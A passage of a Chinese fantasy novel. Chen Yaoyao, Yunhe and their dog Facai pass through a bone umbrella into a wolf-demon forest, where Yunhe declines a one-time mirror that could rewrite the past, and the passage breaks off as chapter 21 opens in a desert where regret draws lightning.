云河说:“那个纸人,供了几十年,受了香火,早就有了灵性。周如笙把它碰掉,它动了,它恨她。它烧了周家,也烧了自己。”
陈瑶瑶:“烧了自己?”
云河点头:“那场火,是从祠堂烧起来的。纸人第一个烧。”
陈瑶瑶沉默了。
她想起那个大婶说的话——“有人看见一个纸人在火光里跳舞。”
它跳舞。
它烧死自己的时候,在跳舞。
它恨了那么多年,终于报了仇。然后它把自己也烧了。
陈瑶瑶忽然不知道该说什么。
云河翻了个身,背对着她。
“睡吧。明天还要赶路。”
陈瑶瑶躺下,看着天花板。
发财拱进她怀里,热乎乎的一团。
她抱着它,闭上眼睛。
梦里,她看见一个纸人在火光里跳舞。
跳着跳着,烧成了灰。
灰烬里,开出一朵小花。
白色的,小小的,在风里摇着。
第二天,她们离开须是境。
临走前,陈瑶瑶又去了一趟那口井。
井水还是那么浅,还是那么凉。那具白骨还在,靠在井壁上,空洞的眼眶对着她。
但这一次,陈瑶瑶不害怕了。
她蹲下来,对着那具白骨轻声说:
“周如笙,我记得你。”
风吹过,吹起井边的落叶。
那朵小花还在,白色的,小小的,在风里摇着。
陈瑶瑶站起来,最后看了一眼那口井,转身走了。
发财跟在她脚边,尾巴摇着。
云河在前面等着她,见她过来,什么也没说,只是转身往前走。
陈瑶瑶跟上去,走在阳光里。
她忽然觉得,天特别蓝,风特别轻,心里特别满。
诸葛方死的那天,也是个晴天。
他躺在井边,看着那口井,看着那朵白色的小花。
他想起很多年前,周如笙站在点心斋门口,冲他笑。
她说:“诸葛方,你尝尝这个,可好吃了。”
他接过那块点心,咬了一口。
甜的。
他活了一辈子,再没吃过那么甜的东西。
他闭上眼睛。
风轻轻吹过,吹起他的衣角。
恍惚间,他听见有人在喊他的名字。
“诸葛方。”
他睁开眼,看见周如笙站在不远处,冲他笑。
还是那个笑,和很多年前一样。
“你来了。”她说。
他笑了,笑得眼泪都出来了。
“嗯,来了。”
他站起来,朝她走去。
走得很慢,一步一步。
身后的井边,那朵小白花还在摇着。
像是在送他。
又像是在等他。
20. 未来境
云河的身体开始出现裂痕的时候,陈瑶瑶正在煮面。
锅里咕嘟咕嘟冒着热气,面条在沸水里翻滚,发财蹲在灶台边,眼巴巴盯着锅,尾巴摇得地板都响了。陈瑶瑶用筷子搅了搅,正准备捞面——
“咔嚓”。
很轻,很脆,像瓷器裂开的声音。
陈瑶瑶回头。
阳光从窗外照进来,照在云河身上。她坐在窗边,手里捧着那本破旧的册子,一动不动。
那张清冷的脸上,从额头开始,蔓延出一道细细的裂纹。像干涸的土地,像碎裂的瓷片,像什么东西正在碎掉。
陈瑶瑶手里的筷子掉在地上。
“云河?”
没有回应。
云河的眼睛还睁着,看着前方,但瞳孔已经散了。裂纹越来越多,从额头到脸颊,从脸颊到脖颈,从脖颈到手背——
咔嚓,咔嚓,咔嚓。
细碎的声响连绵不断。
陈瑶瑶冲过去,一把扶住她。手碰到云河身体的瞬间,她摸到了那些裂纹——凹下去的,冰凉的,像摸在一尊正在碎裂的瓷像上。那触感让她浑身发冷。
“云河!”她喊,“云河!你怎么了!”
云河的身体软软地靠在她身上,眼睛慢慢闭上。最后一丝光从她眼里消失的时候,她的嘴唇动了动,像是想说什么。
但什么也没说出来。
陈瑶瑶抱着她,整个人都傻了。她感觉怀里的身体正在变轻,变凉,那些裂纹还在蔓延,像无数条细小的蛇,爬满云河的全身。
发财从灶台边冲过来,围着她们团团转,发出焦急的呜咽声。它用脑袋拱云河的手,用爪子扒拉云河的衣角,拼命想把云河叫醒。
云河一动不动。
“怎么办……”陈瑶瑶脑子里一片空白,“发财,怎么办……”
发财忽然停下来。
它竖起耳朵,眼睛死死盯着墙角那把白骨伞。然后它转身就冲过去,扑到伞上,用爪子扒拉,用嘴咬,拼命想把伞打开。
陈瑶瑶看着它,忽然想起云河说过的话——
“白骨伞的机关很多,有些连我都没用过。”
发财把伞扒拉倒在地上,然后用爪子去按伞柄上的某个地方。一下,两下,三下——
“咔哒”。
伞柄底部弹开了。
一面镜子掉了出来。
很小,掌心大小,边缘镶着银色的花纹,背面刻着一个字——
“鸦”。
陈瑶瑶愣住了。
鸦狼的镜子。那个在啸风境里,让路君看见真相的镜子。它怎么会在这里?
发财叼起镜子,跑到云河身边,把镜子放在她身上。然后它又跑回白骨伞旁,用脑袋顶住伞面,用力一掀——
白骨伞逆时针转了起来。
伞面上的骨珠开始倒转,发出刺耳的摩擦声。那声音像是什么东西在尖叫,又像是什么东西在哭泣。伞骨一根一根亮起红光,那光芒越来越盛,越来越亮,最后汇成一片红色的雾气,从伞里涌出来。
红雾像活的一样,将云河整个裹住。雾气翻涌,带着腥甜的气息,像是血,又像是火。
陈瑶瑶想也没想,一把抱住云河。
发财叼住她的衣角,死死咬住。
红雾越来越浓,越来越热,像一团火,像一片血,像要把她们都吞进去。
陈瑶瑶眼前一黑,失去了意识。
失去意识前,她脑子里闪过云河曾经说过的话——
“如果白骨伞自己打开了境,记住,立刻逃,马上离开!”
坏了。
她非但没逃,反而自己凑上去了。
不听前辈言,吃亏……不放盐。
陈瑶瑶是被发财的尿滋醒的。
一股温热的液体喷在脸上,带着狗特有的骚味。她猛地睁开眼,看见发财正对着她翘着一条腿,尿得那叫一个畅快淋漓,脸上还带着一种“我也是不得已”的愧疚表情。
“发财——!”陈瑶瑶一把推开它,“你干什么!”
发财收了腿,冲她“汪汪”叫了两声,然后转身就跑。
陈瑶瑶这才发现不对劲。
四周全是树。
参天大树,遮天蔽日,枝丫交错如鬼爪,连阳光都透不下来。地上铺满了厚厚的落叶,踩上去软绵绵的,散发着一股腐烂的甜腥气息。远处传来野兽的低吼声,此起彼伏,像在交换什么信号,又像在讨论晚餐的菜单。
陈瑶瑶一骨碌爬起来,四处张望:“云河?云河!”
没人应。
发财在不远处疯狂地叫,叫声又尖又急,像要把嗓子喊破。陈瑶瑶冲过去,拨开灌木丛,看见发财正对着一群野狼狂吠。
那群狼至少有十几只。
灰褐色的皮毛,绿幽幽的眼睛,正围成一圈,虎视眈眈地盯着什么。它们蹲伏着,尾巴压得很低,喉咙里发出威胁的低吼,像是在守护什么重要的东西。
陈瑶瑶顺着它们的目光看去,心一下子提到了嗓子眼。
云河。
云河躺在狼群中央,一动不动。一只体型最大的狼正低头嗅她,用鼻子拱她的脸。那只狼的毛色比其他狼更深,接近黑色,眼睛是琥珀色的,在黑暗中闪着冷光。
头狼。
它低下头,舔了舔云河的脸。那动作很轻,一下一下的,不像是在对待猎物,倒像是在……确认什么。
“云河!”陈瑶瑶想也没想,就要冲过去。
发财一口咬住她的裤腿,拼命往后拽。牙齿都咬出血了,就是不松。
陈瑶瑶低头看它,发财的眼睛里全是恐惧,浑身都在发抖,四条腿抖得像筛糠,但嘴巴死死咬着,不松口。
“发财,放开!云河在那里!”
发财不松。
那群狼听见动静,齐刷刷转过头来。
十几只绿幽幽的眼睛,同时盯着陈瑶瑶。
那一刻,陈瑶瑶的腿一下子软了。那些眼睛里没有愤怒,没有威胁,只有一种轻飘飘的漠视。像在看一块肉,一截木头,一个无关紧要的东西。
头狼看了她一眼。
只一眼。
然后它低下头,叼起云河,转身就跑。云河的身体在它嘴里软软地垂着,像一片落叶。
其他狼立刻跟上,转眼间消失在树林里。
陈瑶瑶愣了一瞬,然后拔腿就追。
发财跟在她脚边,跑得四条腿都快飞起来了。
陈瑶瑶追了没多远,就被一只狼拦住了。
那只狼蹲在路中间,龇着牙,喉咙里发出低沉的吼声。它的眼睛死死盯着陈瑶瑶,前爪刨着地面,做好了扑杀的准备。唾液从它嘴角滴下来,拉出长长的丝。
陈瑶瑶停下脚步,和它对峙。
发财躲在陈瑶瑶身后,探出半个脑袋,对着那只狼“汪汪”叫,叫一声缩回去一下,叫一声缩回去一下,怂得那叫一个标准。
陈瑶瑶深吸一口气,弯腰把发财抱起来。
发财浑身僵硬,瞪大眼睛看着她,那眼神翻译过来大概是:你干嘛?你想干嘛?你别乱来啊!我是狗!不是武器!
陈瑶瑶把它举起来,对准那只狼。
发财:???
陈瑶瑶挥舞着发财,像挥舞一件武器,朝那只狼冲过去,边冲边喊:“啊啊啊啊啊——!”
那只狼显然没见过这种阵仗。
一个人,抱着一只狗,把狗当棍子使,抡得虎虎生风,嗷嗷叫着冲过来。它愣了一瞬,被发财的爪子挠到了鼻子,嗷呜一声跳开,连退好几步,撞到一棵树上。
陈瑶瑶趁机冲了过去。
发财在她怀里疯狂挣扎,发出凄厉的惨叫,那叫声翻译过来大概是:你疯了吗!我是狗!不是武器!放我下来!救命啊!这里有疯子!我要换主人!
陈瑶瑶不理它,抱着它一路狂冲。
前面的狼听见动静,纷纷回头,就看见一个披头散发的女人抱着一只惨叫的狗,像疯了一样冲过来,见狼就抡,见狼就砸。那只狗在她怀里嗷嗷叫,四条腿乱蹬,像个被绑架的人质。
狼群懵了。
它们活了几辈子,没见过这么打仗的。
一时间,竟真的让开了一条路。
陈瑶瑶追到一片空地上,终于看见了头狼。
它把云河放在一棵大树下,正低头舔她的脸。那动作很轻,一下一下的,琥珀色的眼睛里有一种奇怪的神色。
陈瑶瑶刚要冲过去,忽然听见身后传来一声暴喝:
“呔!又是你们这群四只脚的!别怕,我来救你!”
一道人影从天而降,抡着一根长棍,直直地朝头狼砸去。
头狼灵巧地一闪,躲开了。
那人落地,摆了个自认为很帅的姿势,棍子一横,威风凛凛。
陈瑶瑶看清他的脸,愣住了。
公孙潜龙。
公孙潜龙也看见了她,愣了一下,然后咧嘴笑了,那笑容要多欠揍有多欠揍:“瑶瑶?你怎么在这儿?”
陈瑶瑶气不打一处来,指着头狼消失的方向:“云河被它抓走了!!”
公孙潜龙顺着她指的方向看去,头狼已经没影了。只剩下空荡荡的树林,和风吹过树叶的沙沙声。
他摸了摸鼻子,强装镇定,清了清嗓子:“咳,我、我当然看见了。这不是先把它吓回老巢,然后我们顺藤摸瓜,一举拿下它们,救出云河嘛!这叫战术,你懂不懂?兵法有云,欲擒故纵……”
陈瑶瑶:“那你倒是驱赶这些狼群啊!不对——你怎么进来的?我没有给你白骨伞的权限!”
公孙潜龙抬了抬下巴,得意洋洋,鼻孔都快朝天了:“哼哼,不告诉你。”
陈瑶瑶气得想打人。
周围的狼群见头狼跑了,有些不知所措,但依旧围着她们,虎视眈眈,慢慢缩小包围圈。它们龇着牙,发出低吼,一步步逼近。
公孙潜龙把棍子一横,整个人像蚂蚱一样蹦起来,在狼群中来回穿梭。棍子舞得虎虎生风,一会儿敲这只的头,一会儿打那只的屁股,嘴里还念念有词:“打狗棒法第一式!打狗棒法第二式!打狗棒法第三式!”
狼群被他搅得晕头转向,加上头狼不在,渐渐失去了斗志,低吼着退开了。
公孙潜龙落地,拍了拍手,一脸得意:“怎么样?厉害吧?我这打狗棒法练了十年了!”
陈瑶瑶懒得理他,抱着发财就朝头狼消失的方向追去。
公孙潜龙赶紧跟上:“哎,等等我!你不夸我两句吗?好歹我也是英雄救美啊!”
她们追了很久,追到一片密林深处。
这里比外面更暗,更阴森。树木扭曲,藤蔓缠绕,几乎没有路。树干上长满了瘤子一样的疙瘩,藤蔓像蛇一样垂下来,碰到皮肤冰凉滑腻。地上有狼爪的痕迹,一路延伸向更深处。那些爪印很深,每一步都像是用尽全力踩下去的,像是故意留下的路标。
陈瑶瑶放轻脚步,示意公孙潜龙别出声。
发财缩在她怀里,瑟瑟发抖,大气都不敢出。它把脸埋进陈瑶瑶胳膊里,只露出两只耳朵,像只鸵鸟。
忽然,前方传来人声。
陈瑶瑶竖起耳朵,悄悄拨开灌木丛,探头看去。
前面是一小片空地,空地上站着两个……东西。
人脸,狼身。
一个男的,一个女的,都长着人的脸,但身体是狼的。男的脸上有一道疤,从左眼角一直划到嘴角,疤很新,像是最近才添的。女的脸上有一颗痣,长在眉心,像第三只眼睛,痣是血红色的。
他们正在说话,声音不大,但在寂静的树林里听得清清楚楚。
“她居然还活着,命真硬啊。”女的说,声音尖细,像指甲刮过木板。
“我就说应该把她的骨头也拆下来,你非要留她性命。”男的说,声音里带着不满,“这下好了,白骨咒反,必死。要不是鸦狼剖了半颗心给她续气,那邪伞早就将她吞噬殆尽了。”
陈瑶瑶心里一震。
鸦狼剖了半颗心给云河续气?
公孙潜龙在她耳边嘀咕,声音压得极低:“连妖都牵扯这么深,这家伙到底什么来历。”
陈瑶瑶压低声音:“妖怎么了?”
公孙潜龙瞪大眼睛,像是看傻子一样看着她:“你知道多少年才能修炼一只妖吗?天地灵物那么多,能开智的不过十万之一,这其中能自行修炼的又是九牛一毛,而能靠修炼化形的,更是要看天命!天命你懂不懂?那是老天爷赏饭吃!”
陈瑶瑶:“那我们怎么天生就是人样?”
公孙潜龙嗤笑一声,那表情欠揍得很:“你们也天生受人摆布啊。随便一捏就死了,一点小地震发个水,你们都能死一片,弱的可怜。有什么好得意的?”
陈瑶瑶气得想翻白眼,但现在不是吵架的时候,她继续探头看去。
那两个狼妖还在说话。
“鸦狼那个女人,真是疯了。”女妖说,语气里带着说不清的意味,不知道是敬佩还是嘲讽,“为了一个凡人,把自己半颗心都舍了。结果呢?那凡人还是没能守住,白骨咒反,活不过三天。”
男妖冷哼一声:“鸦狼自己都死了,还管得了别人?不过她倒是给这女人留了条后路——那面镜子,能打开时空裂隙。可惜,这女人太蠢,居然带着个拖油瓶一起进来了。”
女妖笑了,笑得花枝乱颤,那张人脸上的笑容诡异得很:“拖油瓶?你说那个抱着狗的小丫头?哈哈哈,正好,咱们今晚的晚饭有着落了。”
陈瑶瑶后背一凉。
一只手忽然搭上她的后脖颈。
尖锐的爪子,冰凉的触感。那爪子轻轻划过她的皮肤,像在挑选一块肉。
一个阴森森的声音在耳边响起,热气喷在她脖子上,带着一股腥臭:
“兄弟们,晚饭有着落了。”
陈瑶瑶猛地回头。
一张人脸,狼身,正对着她笑。
那张脸离她不到一尺,眼睛弯弯的,嘴角咧得很大,露出满口尖牙。牙缝里还挂着肉丝,不知道是刚才吃的什么。那肉丝红白相间,还在往下滴血。
陈瑶瑶张嘴想叫,叫不出声。
发财在她怀里两眼一翻,直接晕了过去,四只爪子都僵了,直挺挺地躺在她胳膊上,像一具尸体。
公孙潜龙反应最快,一棍子就抡了过去。那狼妖灵巧地一闪,躲开了,但爪子也从陈瑶瑶脖子上松开了。
陈瑶瑶趁机抱着发财就跑。
公孙潜龙边打边退,跟在她身后。
空地上的两个狼妖听见动静,也追了过来。
四个人妖追着两个人和一只晕过去的狗,在密林里狂奔。
陈瑶瑶跑得上气不接下气,肺都要炸了,脑子里只有一个念头——
云河,你醒醒啊,你再不醒,我们就要变成狼粪了!
跑着跑着,陈瑶瑶忽然脚下一空。
她低头一看——悬崖。
深不见底的悬崖,下面黑漆漆的,看不见底,只能听见风声在下面呜咽。那风声像无数张嘴在哭泣,又像无数只手在召唤。
来不及刹车,整个人直直地栽了下去。
公孙潜龙在后面喊:“瑶瑶——!”
声音越来越远。
陈瑶瑶抱着发财,闭上眼睛,心想:完了完了,这次真的完了。死法还挺新鲜,被狼追着掉下悬崖,说出去都没人信。发财,下辈子咱们还做朋友,你别尿我脸就行。
就在这时,一只手忽然抓住了她的手腕。
那只手很凉,很细,但很有力。像铁钳一样,死死扣住她。
陈瑶瑶睁开眼,看见一张熟悉的脸。
云河。
云河脸色苍白,身上还带着血,但眼睛是睁着的。她一只手抓着悬崖边的树根,树根已经被拉得绷直,发出不堪重负的咯吱声,泥土簌簌往下掉。另一只手抓着陈瑶瑶,咬着牙,一点一点往上拉。
她身上的裂纹还在,在昏暗的光线里泛着诡异的白光,像一尊碎裂的瓷像,随时都会碎掉。
陈瑶瑶眼眶一热:“云河!”
“别说话。”云河的声音很轻,很虚,但很稳,“上来。”
陈瑶瑶被她拉上来,两个人瘫在悬崖边,喘得说不出话。陈瑶瑶的手腕上,五个青紫的指印正在慢慢浮现。
发财还晕着,躺在陈瑶瑶怀里,一动不动,整只狗像一滩烂泥。
公孙潜龙从另一边绕过来,满头大汗,身上还挂着树叶,看见云河,愣了一下:“你醒了?”
云河看了他一眼,没说话。那眼神像刀子,剜得公孙潜龙一缩脖子。
公孙潜龙讪讪地摸了摸鼻子,小声嘀咕:“那个……上面还有三个妖怪追着呢,咱们是不是先找个地方躲躲?”
云河挣扎着站起来,看了看四周,昏暗的光线里她的眼睛亮得惊人。她抬手指着一个方向:“那边有个山洞。”
四个人互相搀扶着,朝山洞走去。
陈瑶瑶回头看了一眼悬崖的方向。
那三个狼妖站在悬崖边上,没有追过来。昏暗的光线照在他们身上,照出三张人脸,三具狼身。
他们看着这边,一动不动。
像是在等什么。
又像是在送什么。
山洞不大,但很深,足够藏身。
云河靠在石壁上,闭着眼睛,脸色白得吓人。她身上的裂痕还在,但不再扩散了,只是那些裂纹像蛛网一样爬满了她的身体,从额头到脖颈,从脖颈到手背,看着触目惊心。
陈瑶瑶蹲在她身边,小声问:“云河,你怎么样?”
云河睁开眼,看着她。
那双眼睛还是那么清冷,但里面有什么东西不一样了。像是冰层底下,有什么东西在涌动,在燃烧。
“死不了。”她说。
陈瑶瑶眼眶又红了。
云河抬手,轻轻摸了摸她的头。那只手很凉,指尖还有裂纹,但动作很轻,很温柔。那温度透过裂纹传过来,带着一种奇异的热。
“哭什么?我不是好好的。”
陈瑶瑶拼命忍住眼泪,但忍不住。
发财这时候醒了,迷迷糊糊地睁开眼,看见云河,先是一愣,然后“汪”地一声扑过去,往她怀里拱,拱得云河直咳嗽。
云河摸着它的头,笑了:“你也好好的。”
公孙潜龙坐在洞口放风,回头看了一眼,难得没有贫嘴。
过了一会儿,他忽然压低声音说:“有人来了。”
陈瑶瑶心一紧。
云河挣扎着坐起来,握住白骨伞。那把伞在她手里微微发光,像是在回应什么。
脚步声越来越近。
三个狼妖出现在洞口。
为首的正是那个脸上有疤的男妖。昏暗的光线从洞外照进来,照在他脸上,那道疤显得格外狰狞,像一条蜈蚣趴在脸上。他看着洞里的几个人,笑了。
“跑啊,怎么不跑了?”
云河撑着伞站起来,挡在陈瑶瑶面前。
男妖看着她,眼神里闪过一丝复杂。那眼神很奇怪,不像是看猎物,倒像是看一个很久没见的老熟人,一个故人。
“云河,你还记得我吗?”
云河愣了一下。
男妖说:“我是鸦狼的旧部。当年她剖心救你,我就在旁边。”
云河沉默了一会儿,然后点头:“记得。”
男妖叹了口气,那口气叹得很长,像是把几十年的感慨都叹出来了。
“你走吧。我不为难你。”
云河没动。
男妖看着她,忽然笑了。那笑容里有释然,有苦涩,还有一点说不清的东西。像是终于完成了什么任务。
“放心,我不是来抓你的。我只是想告诉你——那面镜子,是鸦狼留给你的最后一件东西。”
他顿了顿,一字一句地说:“它能打开时空裂
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隙,让你回到过去,改变一些事情。但只有一次机会,用完了,就没了。鸦狼用半颗心换的,你掂量着用。”
云河愣住了。
男妖转身,朝洞外走去。
走出几步,他忽然回头,看着云河,昏暗的光线照在他脸上,那张人脸狼身的怪物,此刻竟显得有些慈悲,像一个慈祥的长辈。
“鸦狼死前说,未来的你,才是现在的你存在的意义。你自己琢磨吧。”
说完,他和另外两个狼妖消失在黑暗中。
云河站在原地,一动不动。
昏暗的光线从洞外照进来,照在她身上,照出她满身的裂纹。
那些裂纹在光线里闪着光,像星星,又像眼泪。
陈瑶瑶看着她,不敢出声。
很久很久,云河才开口,声音很轻,轻得像一片羽毛,随时会被风吹散。
“未来的我,才是现在的我存在的意义?”
她低下头,看着手里的镜子。
那面小小的镜子里,映出她的脸。
脸上有裂纹,眼中有迷茫。
未来的她,会是什么样子?
狼妖走后,山洞里安静了很久。
云河一直盯着那面镜子,一动不动。昏暗的光线照在她身上,她像一尊雕像,一尊正在碎裂的雕像,随时会崩塌。
陈瑶瑶不敢打扰她,抱着发财缩在角落里,大气都不敢出。
发财也乖了,趴在她怀里,一动不动,只偶尔眨眨眼睛,连呼噜都不敢打。
公孙潜龙在洞口蹲了半天,终于憋不住了。他挪到陈瑶瑶旁边,压低声音问:“她怎么了?”
陈瑶瑶摇头。
公孙潜龙又看了看云河,声音压得更低:“那镜子……真能回到过去?”
陈瑶瑶还是摇头。
她不知道。
她只知道云河现在的样子,让她心里发慌。那种慌不是害怕,是心疼。像有什么东西在胸腔里拧,一下一下的。
过了很久,云河终于动了。
她把镜子收起来,撑着伞站起来,朝洞口走去。
陈瑶瑶赶紧跟上:“云河,你去哪儿?”
云河没回头:“找他们问清楚。”
陈瑶瑶愣了一下,然后抱着发财追上去:“等等我!”
公孙潜龙也赶紧跟上,边走边嘀咕:“问清楚?问什么清楚?那三个妖怪差点把咱们当晚饭……”
云河没理他。
她们在密林里找了很久,终于找到了那三个狼妖。
他们正在一片空地上生火烤肉,肉香飘过来,发财的鼻子动了动,醒了。
它探出脑袋,使劲嗅了嗅,眼睛亮了。那肉香太诱人了,它忍不住舔了舔嘴巴,口水都流下来了。
陈瑶瑶一把按住它:“别动!”
发财委屈地看了她一眼,还是乖乖趴下了。但那眼睛一直往烤肉的方向瞟,脖子伸得老长,口水把陈瑶瑶的袖子都打湿了。
云河走过去,站在火光边。
火光跳动,照在她身上,照在她脸上。那些裂纹在火光里像金色的纹路,竟然有几分诡异的美感。
三个狼妖抬起头,看着她。
火光跳动,照在他们脸上,照在云河身上。那一刻,他们都不像妖,也不像人,只是几个在夜里相遇的生灵,在火光中对望。
那个脸上有疤的男妖笑了:“怎么,想清楚了?”
云河看着他,一字一句地问:“鸦狼还说了什么?”
男妖沉默了一会儿,然后说:“她说,如果有一天,你身上的白骨咒反了,就说明你心里有了牵挂。牵挂会让你软弱,也会让你强大。让你自己选。”
云河愣住了。
男妖继续说,声音低沉,像在念一段经文:“她还说,那面镜子,是她用半颗心炼的。只能打开一次,让你回到过去,改变一件你最想改变的事。但你要想清楚——你改变了过去,未来也会变。你身边的人,可能就不在了。”
云河下意识回头,看了一眼陈瑶瑶。
陈瑶瑶抱着发财,站在那里,脸上全是担忧。火光映在她脸上,她的眼睛亮亮的,里面有光,有害怕,有担心,还有……一种说不清的东西。
男妖顺着她的目光看去,笑了:“就是她吧?你心里牵挂的人。”
云河没说话。
男妖站起来,拍拍身上的土:“行了,话带到了。走不走,用不用,你自己决定。我们还有事,先走了。”
他和另外两个狼妖站起来,准备离开。
云河忽然问:“你们……是鸦狼的旧部?”
男妖回头,笑了笑。那笑容在火光下显得很温和,不像妖,倒像一个慈祥的长辈,一个等待了很久的人。
“算是吧。她救过我们的命。她死了,我们替她守着这片境。等你来。”
说完,三个狼妖消失在夜色中。
云河站在原地,一动不动。
火光映在她身上,映出她满身的裂纹。
那些裂纹,像是她走过的路,受过的伤,遇见的人。
陈瑶瑶走过去,站在她身边,小声问:“云河,你……想回去吗?”
云河沉默了很久。
然后她低头看着手里的镜子,轻声说:“我想回去看看,我到底做错了什么。”
那天夜里,她们找了个地方休息。
云河坐在火堆边,一直盯着那面镜子。火光跳动,照在她脸上,照出那些裂纹,也照出她眼里的光。那光忽明忽暗,像在挣扎,像在犹豫。
陈瑶瑶抱着发财,靠在旁边,困得眼皮直打架,但不敢睡。
公孙潜龙靠在树上,呼呼大睡,鼾声震天,那鼾声跟打雷似的,一浪高过一浪,惊起飞鸟无数。
发财也睡着了,蜷在陈瑶瑶怀里,发出轻轻的呼噜声,小肚子一起一伏,像个毛绒绒的小球。
陈瑶瑶看着云河的侧脸,忽然问:“云河,你……最想改变什么?”
云河没有回答。
很久很久,她才开口,声音很轻,轻得几乎被夜风吹散。
“我想回到十四年前,拦住我自己。不让她放出松天香。”
陈瑶瑶愣住了。
云河继续说,声音平静得像在说别人的故事:“如果那时候我没有放他出来,他就不会杀姜老头,不会打碎灵石,不会放出厄兽。人间境就不会变成那样,那些人就不会死。”
她低下头,看着自己的手。
那双手上,裂纹还在。火光映在上面,每一条裂纹都在发光,像无数条细小的河流。
“我每次闭上眼睛,都能听见那些人的声音。”
她的声音很平静,平静得像在说别人的事。
但陈瑶瑶听得出来,那平静底下,是深不见底的痛。像一口井,没有底。
陈瑶瑶的眼泪掉下来。
云河转过头,看着她,忽然笑了。那笑容很淡,很轻,但很真。是真心的笑。
“哭什么?又不是你做的。”
陈瑶瑶摇头,说不出话。
云河伸手,轻轻擦了擦她的眼泪。那只手很凉,但动作很轻,很小心,像在擦拭什么珍贵的东西。
“别哭了。就算能回去,我也不会回去。”
陈瑶瑶愣住了:“为什么?”
云河看着她,目光平静得像一潭深水。但那深水底下,有光。那光越来越亮,越来越暖。
“因为如果我回去了,改变了那些事,你就不会出现了。”
陈瑶瑶张了张嘴,不知道该说什么。
云河说:“德德镇那场雪,你跪在地上,求我带你走。那时候我看着你,忽然觉得,也许我活着的意义,就是遇见你。”
陈瑶瑶的眼泪止不住地流。
云河笑了笑,转过头,看着火光。
“未来的你,才是现在的你存在的意义。那老妖怪说得对。我不用回去,也不用改变什么。我就这么走下去,走到未来,走到你长大的那一天。”
陈瑶瑶抱着发财,拼命点头。
发财被吵醒了,迷迷糊糊地抬起头,看了看她们,又睡着了。临睡前还舔了舔陈瑶瑶的手,以示安慰。
月光从树缝里照进来,照在她们身上。
很亮,很暖。
第二天,她们离开那片密林,找到了出口。
白骨伞逆时针转回来,红雾再次涌出,把她们裹住。这一次,红雾没有那么浓了,也没有那么热了,像是完成了什么任务,变得温柔起来。
一阵天旋地转。
等回过神来,她们已经回到了原来的地方。
阳光从窗外照进来,照在云河身上。
陈瑶瑶愣愣地看着她。
云河站在窗边,阳光照在她脸上。那些裂纹,已经消失了。她的脸干干净净,和以前一样,清冷,好看。只是眼底多了一点什么,陈瑶瑶说不清。
“云河,你的脸……”
云河摸了摸自己的脸,笑了:“好了。”
陈瑶瑶冲过去,一把抱住她。
发财也冲过来,抱着她们的腿,使劲蹭,尾巴摇得像螺旋桨。
云河被她们抱得喘不过气,但没推开。
过了很久,她才说:“好了好了,松开。发财饿了,快做饭去。”
陈瑶瑶抬起头,看着云河,忽然笑了。
“云河,你真好看。”
云河愣了一下,然后脸微微红了。那红晕从脸颊蔓延到耳根,像傍晚的晚霞。
公孙潜龙在旁边起哄,扯着嗓子喊:“哟哟哟,云河脸红了!太阳打西边出来了!我要记下来,这绝对是历史性的一刻!”
云河一伞抽过去,公孙潜龙嗷嗷叫着跑了,边跑边喊:“谋杀亲夫啦!救命啊!有人要灭口!”
陈瑶瑶抱着发财,笑得直不起腰。
阳光照在她们身上,暖洋洋的。
若时光停留在这一刻,该多好。
21. 不可诲
发财的咳血很突然。
那团奶黄色的小东西窝在她怀里,眯着眼睛,发出舒服的呼噜声。陈瑶瑶拿着小梳子,一下一下梳着,阳光从窗外照进来,暖洋洋的,一切都那么好。
然后发财的身体猛地一僵。
陈瑶瑶低头,看见发财瞪大眼睛,嘴巴张着,喉咙里发出“嗬嗬”的声音。那双黑溜溜的眼睛里,第一次出现了陈瑶瑶看不懂的恐惧。
“发财?”陈瑶瑶慌了,“发财你怎么了?”
发财的身体开始抽搐,四条小短腿乱蹬,眼睛往上翻,翻到只剩下眼白。然后它猛地一咳——
一团血沫喷出来,溅在陈瑶瑶手上,温热,黏腻,带着铁锈的腥味。
“发财!!”陈瑶瑶尖叫。
云河从里屋冲出来,一把接过发财。她的手指按在发财心口,闭眼感应,陈瑶瑶看见她的脸色在那一瞬间变得惨白,白得像纸。
“它心脉碎了。”云河的声音很轻,但每个字都像刀子扎进陈瑶瑶心里,“怎么会……”
陈瑶瑶脑子一片空白:“怎么办?云河,怎么办?”
云河没有回答。她抓起白骨伞,手指在伞柄上快速按动,快得只剩下残影。
伞柄底部突然弹开了,露出一截小小的指骨。
白骨指骨,通体莹白,像玉,又像什么活过的东西。它在阳光下泛着微微的光,像在呼吸。
云河看着那截指骨,脸色变了。
“这是……”她顿住了。
陈瑶瑶没心思管那是什么,她只看着发财:“云河,发财要死了,你快救它!”
云河咬了咬牙,把那截指骨按在发财心口。
指骨瞬间融进发财的身体,发出刺眼的光芒。那光芒是血红色的,从发财的身体里透出来,照亮了整间屋子。
然后云河撑开白骨伞。
伞面上的骨珠疯狂跳动,逆时针旋转,越转越快,快得看不清个数,只能看见一片残影。红雾从伞里涌出,越来越多,越来越浓,像血,像火,像什么东西在燃烧。
红雾将她们三人裹住。
陈瑶瑶只来得及抱住发财,眼前一黑。
滚烫。
陈瑶瑶睁开眼的第一感觉,就是滚烫。
沙子。无边的黄沙。太阳像火球一样挂在头顶,烤得空气都扭曲了,扭曲成奇怪的形状,像一张张痛苦的脸。地上长满了仙人掌,一丛一丛,密密麻麻,刺在阳光下闪着冷光,每一根刺都像针一样扎进眼睛里。
发财躺在她怀里,一动不动,呼吸微弱得像一根随时会断的丝。
“发财!”陈瑶瑶低头看它,发财的嘴角还有血迹,眼睛紧闭,小肚子几乎看不见起伏。它那么小,那么软,那么像当初她从雪地里捡回来的那团毛球。
云河站在不远处,撑着白骨伞,脸色比任何时候都难看。她看着四周,眉头紧锁,陈瑶瑶看见她的手在微微发抖。
公孙潜龙不知道什么时候也来了,正躺在一丛仙人掌上,嗷嗷惨叫:“哎呦喂!扎死我了!这什么地方!怎么全是刺!我的屁股!我的背!我的脸!”
陈瑶瑶没理他,她打开白骨伞想撑起来——
一道闪电凭空劈下。
没有预兆,没有雷声,就那么直直地劈下来,正正劈在她脚边,炸出一个焦黑的坑。那坑有脸盆大,边缘还冒着烟,沙子被劈成了玻璃,闪着诡异的光。
陈瑶瑶吓得连退几步,心跳差点停了。
云河一把拉住她,声音紧得像绷到极限的弦:“别动。在这里,任何后悔的行为都会被雷电标记。”
陈瑶瑶愣住了:“后悔?我没有后悔……”
“你想打开白骨伞离开这里。”云河看着她,目光里有陈瑶瑶从未见过的东西——那是一种恐惧,深不见底的恐惧,“这就是后悔。你后悔进来了。”
陈瑶瑶张了张嘴,说不出话。
